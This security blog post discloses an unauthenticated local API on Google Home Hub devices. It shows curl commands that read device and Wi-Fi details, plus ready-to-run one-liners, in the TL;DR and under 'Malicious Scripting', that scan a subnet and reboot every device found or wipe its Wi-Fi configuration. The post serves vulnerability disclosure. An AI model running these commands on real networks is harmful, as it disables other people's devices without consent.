Google Home (in)Security

TL;DR: An undocumented API in Google home devices is easily exploitable.  

This command will reboot any on your local network:
nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

Introduction

I have always been a fan of Google Products, so when they announced the Google Home Hub, I ordered one.

Once I got the Hub on my network I scanned it and it returned the following:

Nmap scan report for hub
Host is up (0.046s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config

I was surprised to see so many ports open so I started to do some research and found that these devicies have an undocumented (and amazingly unsecured) API

After spending 15 or 20 minutes looking I found that you can reboot the hub with this unauthenticated curl command:  

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

I tweeted what happens when you run that command:

After I was able to get the Hub to reboot I was hooked and gave up a few hours of sleep to do some research and ended up finding a bunch of “good” information (see reading list at bottom). 

At the end of the night, I was extremely disappointed with the security of these devices especially coming from Google who I trust with so much of my data and is the driving force behind BeyondCorp

Technical Deep Dive

I am going to dive directly into sharing some of the commands I have found and the output and will end by showing how a bad actor could use this API. 

System Information

Pull Basic SSDP Information:

$ curl http://hub:8008/ssdp/device-desc.xml
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://hub:8008</URLBase>
  <device>
    <deviceType>urn:dial-multiscreen-org:device:dial:1</deviceType>
    <friendlyName>Kitchen Display</friendlyName>
    <manufacturer>Google Inc.</manufacturer>
    <modelName>Google Home Hub</modelName>
    <UDN>uuid:11111111-adac-2b60-2102-11111aa111a</UDN>
    <iconList>
      <icon>
        <mimetype>image/png</mimetype>
        <width>98</width>
        <height>55</height>
        <depth>32</depth>
        <url>/setup/icon.png</url>
      </icon>
    </iconList>
    <serviceList>
      <service>
        <serviceType>urn:dial-multiscreen-org:service:dial:1</serviceType>
        <serviceId>urn:dial-multiscreen-org:serviceId:dial</serviceId>
        <controlURL>/ssdp/notfound</controlURL>
        <eventSubURL>/ssdp/notfound</eventSubURL>
        <SCPDURL>/ssdp/notfound</SCPDURL>
      </service>
    </serviceList>
  </device>
</root>

Pull The Eureka Infomation:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
  "bssid": "cc:be:59:8c:11:8b",
  "build_version": "136769",
  "cast_build_revision": "1.35.136769",
  "closed_caption": {},
  "connected": true,
  "ethernet_connected": false,
  "has_update": false,
  "hotspot_bssid": "FA:8F:CA:9C:AA:11",
  "ip_address": "192.168.1.1",
  "locale": "en-US",
  "location": {
    "country_code": "US",
    "latitude": 255,
    "longitude": 255
  },
  "mac_address": "11:A1:1A:11:AA:11",
  "name": "Hub Display",
  "noise_level": -94,
  "opencast_pin_code": "1111",
  "opt_in": {
    "crash": true,
    "opencast": true,
    "stats": true
  },
  "public_key": "Removed",
  "release_track": "stable-channel",
  "setup_state": 60,
  "setup_stats": {
    "historically_succeeded": true,
    "num_check_connectivity": 0,
    "num_connect_wifi": 0,
    "num_connected_wifi_not_saved": 0,
    "num_initial_eureka_info": 0,
    "num_obtain_ip": 0
  },
  "signal_level": -60,
  "ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
  "ssid": "SSID",
  "time_format": 2,
  "timezone": "America/Chicago",
  "tos_accepted": true,
  "uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
  "uptime": 25244.52,
  "version": 9,
  "wpa_configured": true,
  "wpa_id": 0,
  "wpa_state": 10
}

Run A Simple Speedtest:

$ curl -Lv -H Content-Type:application/json --data-raw '{ "url": "https://storage.googleapis.com/reliability-speedtest/random.txt" }' http://hub:8008/setup/test_internet_download_speed

Rebooting

Reboot The System:

$ curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
*   Trying hub...
* TCP_NODELAY set
* Connected to hub (hub) port 8008 (#0)
> POST /setup/reboot HTTP/1.1
> Host: hub:8008
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 16
>
* upload completely sent off: 16 out of 16 bytes
< HTTP/1.1 200 OK
< Access-Control-Allow-Headers:Content-Type
< Cache-Control:no-cache
< Content-Length:0
<
* Connection #0 to host hub left intact

Wireless

List Currently Configured Network:

$ curl http://hub:8008/setup/configured_networks
[{"ssid":"ssid","wpa_auth":7,"wpa_cipher":4,"wpa_id":0}]

Delete The Current Configured Network:

curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://hub:8008/setup/forget_wifi
*   Trying hub...
* TCP_NODELAY set
* Connected to hub (hub) port 8008 (#0)
> POST /setup/forget_wifi HTTP/1.1
> Host: hub:8008
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 15
>
* upload completely sent off: 15 out of 15 bytes

This command basically makes the device unusable until you manually reconfigure it using the Google Home application:

Scan For Wireless Networks:

$ curl -X POST http://hub:8008/setup/scan_wifi

List Scan Results:

$ curl http://192.168.1.55:8008/setup/scan_results | jq

[
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2462,
        "signal_level": -72
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -72,
    "ssid": "SSID",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2412,
        "signal_level": -81
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -81,
    "ssid": "SSID2",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
  {
    "ap_list": [
      {
        "bssid": "11:11:11:11:11:11",
        "frequency": 2462,
        "signal_level": -77
      }
    ],
    "bssid": "11:11:11:11:11:11",
    "signal_level": -77,
    "ssid": "You_Get_The_Idea",
    "wpa_auth": 7,
    "wpa_cipher": 4
  },
]

Other Commands:

List Alarms and Timers:

$ curl http://hub:8008/setup/assistant/alarms

Disable All Notifcations:

$ curl -Lv -H Content-Type:application/json --data-raw '{ "notifications_enabled": true }' http://hub:8008/setup/assistant/notifications

Malicious Scripting 

Since none of these endpoints require authentication being malicious on a network with these present is trivial.  

This code will reboot all Google Home devices on the network:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

This code will delete the wireless network from every Google Home on the network causing a manual reconfgiruation

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Closing Thoughts

I am genuinely shocked by how poor the overall security of these devices are, even more so when you see that these endpoints have been known for years and relatively well documented. 

I usually would have worked directly with Google to report these issues if they had not previously been disclosed, but due to the sheer amount of prior work online and committed code in their own codebase, it is obvious they know.

Reading List:

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